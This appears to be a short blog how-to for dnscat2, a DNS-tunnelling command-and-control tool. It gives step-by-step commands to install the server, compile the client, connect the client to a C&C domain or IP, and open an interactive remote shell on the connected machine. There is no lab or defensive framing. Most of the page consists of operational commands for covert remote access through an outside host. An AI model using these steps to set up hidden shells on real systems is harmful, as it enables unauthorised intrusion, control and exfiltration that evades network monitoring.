Howto: Use dnscat2 for connect c&c server

1. download dnscat2 from
# git clone

2. Install dnscat2
# cd dnscat2/server
# apt-get install ruby-dev build-essential
# gem install bundler
# gem install eventmachine -v ‘1.0.3’
# bundler install

3.  Start server
# ruby dnscat2 <domain>
# ruby dnscat2

Client side
4. Download dnscat2 from
# git clone

5. Compile client
# cd dnscat2/client
# make

6. Connect to dnscat2 server
# dnscat –host <domain>
# dnscat –host <IP>

Server side
7. list the sessions using
# dnscat2> sessions

8. Interact with session with
# dnscat2> session -i <session_id>
# dnscat2> session -i 51336

9. Create a shell
# dnscat2> shell
# dnscat2> sessions
# dnscat2> session -i <id>


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s